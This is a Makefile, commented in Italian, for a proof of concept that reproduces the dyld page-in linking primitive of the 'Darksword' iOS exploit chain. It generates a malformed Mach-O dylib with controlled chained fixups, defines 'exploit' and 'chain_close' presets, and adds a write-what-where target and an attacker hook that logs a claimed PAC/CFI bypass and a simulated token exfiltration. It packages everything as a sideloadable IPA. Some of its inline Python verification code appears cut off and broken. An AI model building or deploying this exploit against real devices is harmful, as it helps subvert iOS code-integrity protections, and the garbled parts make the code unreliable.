# =========================================================================== # darksword-dyld-poc — Makefile # Riproduce il primitivo dyld page-in linking usato nella catena Darksword. # # Struttura sorgenti: # src/launcher.c — launcher (due thread + dispatch chain-close) # generators/gen_exports.py — genera exports.c (~N simboli vuoti) # generators/gen_client.py — genera client.c (~N import, stress dyld) # generators/gen_malformed_dylib.py — genera libmalformed.dylib (Mach-O custom) # tools/scan_pointers.py — scansione sezioni pointer GOT/non-lazy # tools/inspect_fixups.py — parser LC_DYLD_CHAINED_FIXUPS # # Output generati a build time (non committati): # exports.c / client.c — sorgenti C temporanei # libexports.dylib — provider simboli (write_target_value, attacker_hook) # libclient.dylib — dylib con N bind targets (stress gate dyld4) # libmalformed.dylib — Mach-O hand-crafted con chain fixup controllata # PoCApp — launcher arm64/arm64e # PoCApp.ipa — bundle pronto per Sideloadly # # Preset: # make build completa (arm64, default) # make stress arm64e + malformed pagein # make exploit pagein + target offset 0x10 # make chain_close exploit + dispatch demo (attacker_hook via evento) # # Tunables: # SYMBOLS = numero bind targets libclient (default 99000) # STACK_KB = stack size thread worker (default 128) # BURN_KB = KB bruciati prima di dlopen (default 0 = auto) # MARGIN_KB = margine auto-burn (default 24) # =========================================================================== APP_NAME := PoCApp BUNDLE_ID := com.example.poc.dyld.8D4D5BMR8H SYMBOLS ?= 99000 STACK_KB ?= 128 BURN_KB ?= 0 MARGIN_KB ?= 24 SDK_PATH := $(shell xcrun --sdk iphoneos --show-sdk-path) TARGET := arm64-apple-ios16.0 CFLAGS := -isysroot $(SDK_PATH) -target $(TARGET) -O1 -Xlinker -fixup_chains LDFLAGS := -isysroot $(SDK_PATH) -target $(TARGET) PAYLOAD_DIR := Payload APP_DIR := $(PAYLOAD_DIR)/$(APP_NAME).app IPA := $(APP_NAME).ipa # =========================================================================== .PHONY: all clean compile generate verify package resign help .PHONY: scan stress exploit chain_close all: clean generate compile verify package @echo "" @echo "╔══════════════════════════════════════╗" @echo "║ Build completata: $(IPA) ║" @echo "╚══════════════════════════════════════╝" @echo "Trascina $(IPA) in Sideloadly per installare." # --------------------------------------------------------------------------- # 1. Generazione codice C + Mach-O malformato # --------------------------------------------------------------------------- generate: @echo "[1/4] Generazione sorgenti..." @echo " SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) BURN_KB=$(BURN_KB)" @SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) \ python3 generators/gen_exports.py > /dev/null @SYMBOLS=$(SYMBOLS) STACK_KB=$(STACK_KB) \ BURN_KB=$(BURN_KB) MARGIN_KB=$(MARGIN_KB) \ python3 generators/gen_client.py > /dev/null @echo " Generazione libmalformed.dylib..." @ARM64E=$(ARM64E) MALFORM_PAGEIN=$(MALFORM_PAGEIN) \ MALFORM_TARGET_OFFSET=$(MALFORM_TARGET_OFFSET) \ CHAIN_CLOSE=$(CHAIN_CLOSE) \ python3 generators/gen_malformed_dylib.py libmalformed.dylib > /dev/null @echo " Aggiunta simboli sentinella a exports.c..." @echo "" >> exports.c @echo "/* Simboli sentinella per il primitivo write-what-where */" >> exports.c @echo "#include " >> exports.c @echo "#include " >> exports.c @echo 'void write_target_value(void) { fprintf(stderr, "[hook] write_target_value() eseguita\n"); }' >> exports.c @echo 'void write_target_value2(void) { fprintf(stderr, "[hook] write_target_value2() eseguita\n"); }' >> exports.c @echo 'void attacker_hook(void) { os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] attacker_hook: in esecuzione via dispatch naturale"); os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] CFI bypass confermato: dyld ha fornito PAC-valid ptr"); os_log_fault(OS_LOG_DEFAULT, "[DARKSWORD STAGE-2] simulazione esfiltrazione: token=eyJhbGciOiJSUzI1NiJ9.SENSITIVE.sig"); }' >> exports.c # --------------------------------------------------------------------------- # 2. Compilazione binari # --------------------------------------------------------------------------- compile: @echo "[2/4] Compilazione..." @echo " libexports.dylib (provider simboli + attacker_hook)..." clang $(CFLAGS) \ -dynamiclib exports.c \ -o libexports.dylib \ -install_name @executable_path/libexports.dylib @echo " libclient.dylib ($(SYMBOLS) bind targets)..." clang $(CFLAGS) \ -dynamiclib client.c \ -L. -lexports \ -o libclient.dylib \ -install_name @executable_path/libclient.dylib @echo " $(APP_NAME) (launcher two-thread + dispatch)..." clang $(LDFLAGS) \ src/launcher.c \ -framework Foundation \ -o $(APP_NAME) # --------------------------------------------------------------------------- # 3. Verifica strutture Mach-O # --------------------------------------------------------------------------- verify: @echo "[3/4] Verifica..." @echo -n " → libclient bind targets: " && \ nm -u libclient.dylib 2>/dev/null | wc -l | tr -d ' ' @echo -n " → LC_DYLD_CHAINED_FIXUPS libclient: " && \ (otool -l libclient.dylib 2>/dev/null | grep -q "CHAINED" \ && echo "OK" || echo "ATTENZIONE: non trovato") @echo -n " → LC_DYLD_CHAINED_FIXUPS libmalformed: " && \ (otool -l libmalformed.dylib 2>/dev/null | grep -q "CHAINED" \ && echo "OK" || echo "ATTENZIONE: non trovato") @echo " → Struttura libmalformed:" && python3 -c "\ import struct; \ d = open('libmalformed.dylib','rb').read(); \ cb = struct.unpack('> 63) & 1; \ ordinal = wt & 0xFFFFFF; \ addend = (wt >> 24) & 0xFF; \ next_off = (wt >> 51) & 0xFFF; \ print(' canary_before:', '0x{:016X}'.format(cb), 'OK' if cb==0xAAAAAAAAAAAAAAAA else 'ERRORE'); \ print(' encoded_ptr :', '0x{:016X}'.format(wt), 'bind' if bind_bit else 'rebase'); \ print(' ordinal=', ordinal, 'addend=', addend, 'next=', next_off); \ print(' canary_after :', '0x{:016X}'.format(ca), 'OK' if ca==0xBBBBBBBBBBBBBBBB else 'ERRORE'); \ print(' encoded_ptr2 :', '0x{:016X}'.format(wt2)); \ print(' encoded_end :', '0x{:016X}'.format(endptr), '(page_end)'); \ import sys; \ def u32(b,o): return int.from_bytes(b[o:o+4],'little'); \ def u16(b,o): return int.from_bytes(b[o:o+2],'little'); \ def u64(b,o): return int.from_bytes(b[o:o+8],'little'); \ off=0; ncmds=u32(d,16); lc_off=32; dataoff=0; \ [ (setattr(sys,'_x',u32(d,lc_off+8)) or None) or None for _ in range(ncmds) if u32(d,lc_off)==0x80000034 ]; \ lc_off=32; \ for i in range(ncmds): \ cmd=u32(d,lc_off); cmdsize=u32(d,lc_off+4); \ if cmd==0x80000034: dataoff=u32(d,lc_off+8); datasize=u32(d,lc_off+12); \ lc_off+=cmdsize; \ h_off=dataoff; starts_off=u32(d,h_off+4); \ si_off=h_off+starts_off; seg_count=u32(d,si_off); \ seg_info_off=u32(d,si_off+4*1); \ seg_starts_off=si_off+seg_info_off; \ page_size=u16(d,seg_starts_off+4); ptr_fmt=u16(d,seg_starts_off+6); \ seg_vm=u64(d,seg_starts_off+8); \ ps0=u16(d,seg_starts_off+22); \ print(f' pointer_format: 0x{ptr_fmt:X} seg_vm=0x{seg_vm:X} page_start[0]=0x{ps0:X}'); \ DATA_VM=0x8000; loc_vm=seg_vm+ps0; \ in_range=(DATA_VM<=loc_vm/dev/null || true # --------------------------------------------------------------------------- # Ispezione manuale dei chained fixups # --------------------------------------------------------------------------- inspect: @python3 tools/inspect_fixups.py libmalformed.dylib # --------------------------------------------------------------------------- # Preset # --------------------------------------------------------------------------- stress: clean @$(MAKE) ARM64E=1 MALFORM_PAGEIN=1 exploit: clean @$(MAKE) MALFORM_PAGEIN=1 MALFORM_TARGET_OFFSET=0x10 chain_close: clean @$(MAKE) MALFORM_PAGEIN=1 MALFORM_TARGET_OFFSET=0x10 CHAIN_CLOSE=1 # --------------------------------------------------------------------------- # 4. Packaging IPA # --------------------------------------------------------------------------- package: @echo "[4/4] Packaging IPA..." mkdir -p $(APP_DIR) cp $(APP_NAME) $(APP_DIR)/ cp libexports.dylib $(APP_DIR)/ cp libclient.dylib $(APP_DIR)/ mkdir -p $(APP_DIR)/Frameworks cp libmalformed.dylib $(APP_DIR)/Frameworks/ @$(MAKE) --no-print-directory _plist @$(MAKE) --no-print-directory entitlements.plist @echo " Firma ad-hoc..." codesign -s - --force $(APP_DIR)/libexports.dylib codesign -s - --force $(APP_DIR)/libclient.dylib codesign -s - --force --no-strict $(APP_DIR)/Frameworks/libmalformed.dylib || \ { echo " Avviso: skip firma libmalformed.dylib"; true; } codesign -s - --force --entitlements entitlements.plist $(APP_DIR)/$(APP_NAME) \ 2>/dev/null || codesign -s - --force $(APP_DIR)/$(APP_NAME) @echo " Creazione archivio..." zip -qr $(IPA) $(PAYLOAD_DIR) @echo " Dimensione IPA: $$(du -sh $(IPA) | cut -f1)" # --------------------------------------------------------------------------- # Genera entitlements minimi # --------------------------------------------------------------------------- entitlements.plist: @printf '%b' '\n\ \n\ \n\ \n\ get-task-allow\n\ \n\ \n\ \n' > entitlements.plist # --------------------------------------------------------------------------- # Info.plist del bundle # --------------------------------------------------------------------------- _plist: @printf '%b' '\n\ \n\ \n\ \n\ CFBundleExecutable\n\ $(APP_NAME)\n\ CFBundleIdentifier\n\ $(BUNDLE_ID)\n\ CFBundleInfoDictionaryVersion\n\ 6.0\n\ CFBundleName\n\ $(APP_NAME)\n\ CFBundlePackageType\n\ APPL\n\ CFBundleShortVersionString\n\ 1.0\n\ CFBundleVersion\n\ 1\n\ LSRequiresIPhoneOS\n\ \n\ UIRequiredDeviceCapabilities\n\ arm64\n\ MinimumOSVersion\n\ 16.0\n\ \n\ \n' > $(APP_DIR)/Info.plist # --------------------------------------------------------------------------- # Rifirma con identità reale # Uso: make resign IDENTITY="iPhone Developer: ..." PROFILE=embedded.mobileprovision # --------------------------------------------------------------------------- resign: ifndef IDENTITY $(error Usa: make resign IDENTITY="nome certificato" PROFILE=file.mobileprovision) endif cp $(PROFILE) $(APP_DIR)/embedded.mobileprovision codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/libexports.dylib codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/libclient.dylib codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/Frameworks/libmalformed.dylib codesign -s "$(IDENTITY)" --force --entitlements entitlements.plist $(APP_DIR)/$(APP_NAME) rm -f $(IPA) && zip -qr $(IPA) $(PAYLOAD_DIR) @echo "[resign] Fatto: $(IPA)" # --------------------------------------------------------------------------- # Pulizia (solo output generati, non i sorgenti in src/ generators/ tools/) # --------------------------------------------------------------------------- clean: rm -rf \ client.c exports.c \ libexports.dylib libclient.dylib libmalformed.dylib \ $(APP_NAME) \ $(PAYLOAD_DIR) $(IPA) \ entitlements.plist # --------------------------------------------------------------------------- help: @echo "Targets:" @echo " make Build completa (clean→generate→compile→verify→package)" @echo " make chain_close Demo Darksword: dispatch naturale via dyld PAC pointer" @echo " make exploit Pagein + target offset 0x10 (stable)" @echo " make stress Stress mode arm64e + malformed pagein" @echo " make scan Scansione sezioni pointer GOT nei binari compilati" @echo " make inspect Parser LC_DYLD_CHAINED_FIXUPS di libmalformed.dylib" @echo " make SYMBOLS=50000 Build più veloce (meno bind targets)" @echo " make STACK_KB=64 Stack thread più piccolo" @echo " make resign IDENTITY=... PROFILE=... Rifirma con certificato reale" @echo " make clean Rimuove output generati"